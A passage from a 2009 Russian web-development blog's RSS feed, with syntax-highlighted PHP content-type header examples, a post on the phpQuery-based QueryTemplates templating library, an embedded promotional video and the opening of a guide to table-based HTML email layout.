New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">RSS</h2>
<div id="highlighter_202911" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-Type: application/rss+xml; charset=ISO-8859-1'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">Text (Plain)</h2>
<div id="highlighter_259115" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: text/plain'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
<h2 style="margin: 0px; padding: 0px 0px 3px; font-size: 18px; font-weight: normal; font-family: Cambria,Georgia,Palatino,'Palatino Linotype','Myriad Pro',serif;">XML</h2>
<div id="highlighter_617331" class="syntaxhighlighter" style="border-width: 0px ! important; margin: 1em 0px ! important; padding: 1px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; width: 100% ! important; position: relative ! important; background-color: #eeeeee ! important; line-height: 20px;">
<div class="bar" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="toolbar" style="border: 1px solid #e7e5dc ! important; margin: 0px ! important; padding: 8px 8px 8px 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; left: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; position: absolute ! important; right: 0px ! important; top: 0px ! important; font-size: 1px ! important; background-color: #f8f8f8 ! important;"><a class="item viewSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/page_white_code.png) ! important;" title="view source" href="#viewSource">view source</a><a class="item printSource" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; display: block ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/printer.png) ! important;" title="print" href="#printSource">print</a><a class="item about" style="padding: 0px; overflow: hidden ! important; width: 16px; height: 16px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; text-decoration: underline; color: #a0a0a0 ! important; float: left ! important; margin-left: 8px ! important; background-repeat: no-repeat ! important; text-indent: -5000px ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/help.png) ! important; display: none;" title="?" href="#about">?</a></div>
</div>
<div class="lines" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important;">
<div class="line alt1" style="border-width: 0px ! important; margin: 0px ! important; padding: 4px; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; line-height: 20px;"><code class="number" style="border-width: 0px ! important; margin: 5px 0px 0px ! important; padding: 0px 0.3em 0px 0px ! important; outline-width: 0px ! important; background-image: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; float: left ! important; width: 3em ! important; text-align: right ! important; display: block ! important; color: #5c5c5c ! important;">1.</code><span class="content" style="border-width: 0px 0px 0px 1px ! important; border-left: 1px solid #999999 ! important; margin: 0px 0px 0px 3.3em ! important; padding: 0.5em ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; color: #000000 ! important; line-height: 20px; background-color: #ffffff ! important;"><span class="block" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px 0px 0px 1.5em ! important; outline-width: 0px ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; display: block ! important; text-indent: -1.5em ! important; background-image: url(http://davidwalsh.name/wp-content/themes/walshbook/images/wrapping.png) ! important; background-repeat: no-repeat ! important; background-position: 0px 1.1em ! important;"><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">header(</code><code class="string" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #ff0000 ! important;">'Content-type: text/xml'</code><code class="plain" style="border-width: 0px ! important; margin: 0px ! important; padding: 0px ! important; outline-width: 0px ! important; background-image: none ! important; text-align: left ! important; float: none ! important; vertical-align: baseline ! important; position: static ! important; left: auto ! important; top: auto ! important; right: auto ! important; bottom: auto ! important; height: auto ! important; width: auto ! important; line-height: 1.1em ! important; font-family: Consolas,Monaco,'Bitstream Vera Sans Mono','Courier New',Courier,monospace ! important; font-weight: normal ! important; font-style: normal ! important; font-size: 1em ! important; color: #000000 ! important;">);</code></span></span></div>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/29/php-headers-populyarnye-mime-types/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>QueryTemplates &#8212; шаблонизатор с использованием phpQuery</title>
		<link>http://saintist.ru/2009/05/28/querytemplates-shablonizator-s-ispolzovaniem-phpquery/</link>
		<comments>http://saintist.ru/2009/05/28/querytemplates-shablonizator-s-ispolzovaniem-phpquery/#comments</comments>
		<pubDate>Thu, 28 May 2009 20:11:02 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[phpquery]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=478</guid>
		<description><![CDATA[Порт jQuery в PHP phpQuery, очень удобная вещь для работы со структурой html документа, как для парсинга так и просто формирования или изменения ее. Именно на изменении структуры и сконцентрирован проект QueryTemplates, представляющий собой щаблонизатор базируемый на phpQuery. Адресс проекта http://code.google.com/p/querytemplates/ Суть идеи: В занный момент поддерживается : HTML, XML, XHTML. Библиотека используем популярный web [...]]]></description>
			<content:encoded><![CDATA[<p>Порт jQuery в PHP phpQuery, очень удобная вещь для работы со структурой html документа, как для парсинга так и просто формирования или изменения ее. Именно на  изменении структуры и  сконцентрирован проект <strong> QueryTemplates</strong>, представляющий собой  щаблонизатор базируемый на <strong>phpQuery</strong>.<br />
<span id="more-478"></span></p>
<p>Адресс проекта http://code.google.com/p/querytemplates/</p>
<p><strong>Суть идеи:</strong></p>
<p>В занный момент поддерживается : HTML, XML, XHTML.</p>
<p>Библиотека используем  популярный web 2.0 паттерн load-traverse-modify используя jQuery подобный API и  несколько быстрых  и оригинальных  методов работы с темплейтами.</p>
<p>Используя QueryTemplates верстальщик и программер работают независимо. Шаблонизатор работает с чистыми  HTML/XML файлами. Шаблонизатор  через  селекторы CSS и jQuery подбное API получает доступ к  структуре шаблона и изменяет ее.</p>
<p>т.е. переменные  в шаблонах  не используются вообще !!!!</p>
<p><strong>Пример кода:</strong></p>
<p>ищем div <span style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="font-family: Tahoma; font-size: 11px;">класс </span></span><span style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="font-family: Tahoma; font-size: 11px;">my-div в нем ul  И li делаем вставку данных<br />
</span></span></p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="font-family: Tahoma; font-size: 11px;">template(&#8216;output&#8217;)<br />
-&gt;sourceCollect(&#8216;input.html&#8217;)<br />
-&gt;parse()<br />
-&gt;source(&#8216;input.html&#8217;)-&gt;returnReplace()<br />
-&gt;find(&#8216;.my-div&#8217;)<br />
-&gt;ifVar(&#8216;showMyDiv&#8217;)<br />
-&gt;find(&#8216;ul &gt; li&#8217;)<br />
-&gt;loopOne(&#8216;data&#8217;, &#8216;row&#8217;)<br />
-&gt;varsToSelector(&#8216;row&#8217;, $rowFields)<br />
; </span></span></p>
<p><span style="border-collapse: separate; color: #000000; font-family: 'times new roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;"><span style="font-family: Tahoma; font-size: 11px;"><br />
</span></span></p>
<p>Библиотека поддерживает  функционал  как и  phpQuery:</p>
<p>- наследование<br />
- вызовы<br />
- плагины</p>
<p>ps: Незнаю  стоило ли изобретать велосипед, вроде бы очень интересное решение,мое мнение лучший шаблонизатор сам php <img src='http://saintist.ru/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/28/querytemplates-shablonizator-s-ispolzovaniem-phpquery/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Nomoon Agency</title>
		<link>http://saintist.ru/2009/05/27/nomoon-agency/</link>
		<comments>http://saintist.ru/2009/05/27/nomoon-agency/#comments</comments>
		<pubDate>Wed, 27 May 2009 09:24:16 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Реклама]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=476</guid>
		<description><![CDATA[Рекламный ролик Nomoon Agency]]></description>
			<content:encoded><![CDATA[<p>Рекламный ролик Nomoon Agency<br />
<object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/_BFmACTPuvw&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/_BFmACTPuvw&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/27/nomoon-agency/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>верстаем в html электронные письма</title>
		<link>http://saintist.ru/2009/05/26/verstka-v-html-email/</link>
		<comments>http://saintist.ru/2009/05/26/verstka-v-html-email/#comments</comments>
		<pubDate>Tue, 26 May 2009 19:33:08 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Верстка]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=462</guid>
		<description><![CDATA[Весь лэйаут должен быть таблицами. При этом, без крайней необходимости — их тоже лучше не использовать. Забываем семантику, сокращенные css-правилах, валидацию, плавающих блоках — и прочее. При вёрстке html для почтовой рассылки используем приемы 90-ых годов XX века. layout лэйаут на таблицах (никакого позиционирования средствами css, никаких float&#8217;ов, clear&#8217;ов и пр.), mail.ru автоматически добавляет довольно [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/email.jpg"><img class="size-medium wp-image-463 aligncenter" title="E-mail" src="http://saintist.ru/wp-content/uploads/2009/05/email-300x270.jpg" alt="E-mail" width="300" height="270" /></a></p>
<p>Весь лэйаут должен быть таблицами. При этом, без крайней необходимости — их тоже лучше не использовать. Забываем семантику, сокращенные css-правилах, валидацию, плавающих блоках — и прочее.</p>
<p>При вёрстке html для почтовой рассылки используем приемы 90-ых годов XX века.<br />
<span id="more-462"></span><br />
<strong>layout</strong></p>
<p>лэйаут на таблицах (никакого позиционирования средствами css, никаких float&#8217;ов, clear&#8217;ов и пр.),  mail.ru автоматически добавляет довольно внушительные padding&#8217;и для всех td, это надо учитывать (картинка порезана на куски и раскидана по разным ячейкам — добиться их бесшовного соединения будет невозомжно);</p>
<p><strong>css</strong></p>
<p>все стили должны быть инлайновыми (т.е. находиться в атрибутах style):</p>
<p>&lt;div style=&#187;&#8230;&#187;&gt;&#8230;&lt;/div&gt;</p>
<p><strong>padding-left, padding-right</strong></p>
<p>горизонтальные отступы, по идее, делались в былые времена при помощи дополнительных ячеек таблицы… но  нормальные веб-сервисы (типа gmail, yandex и rambler) не поймут любимой многими в прошлом конструкции:</p>
<p>&lt;table cellpadding=&#187;0&#8243; cellspacing=&#187;0&#8243; border=&#187;0&#8243; width=&#187;100%&#187;&gt;<br />
&lt;tr&gt;<br />
&lt;td width=&#187;10&#8243; nowrap&gt;&lt;/td&gt;<br />
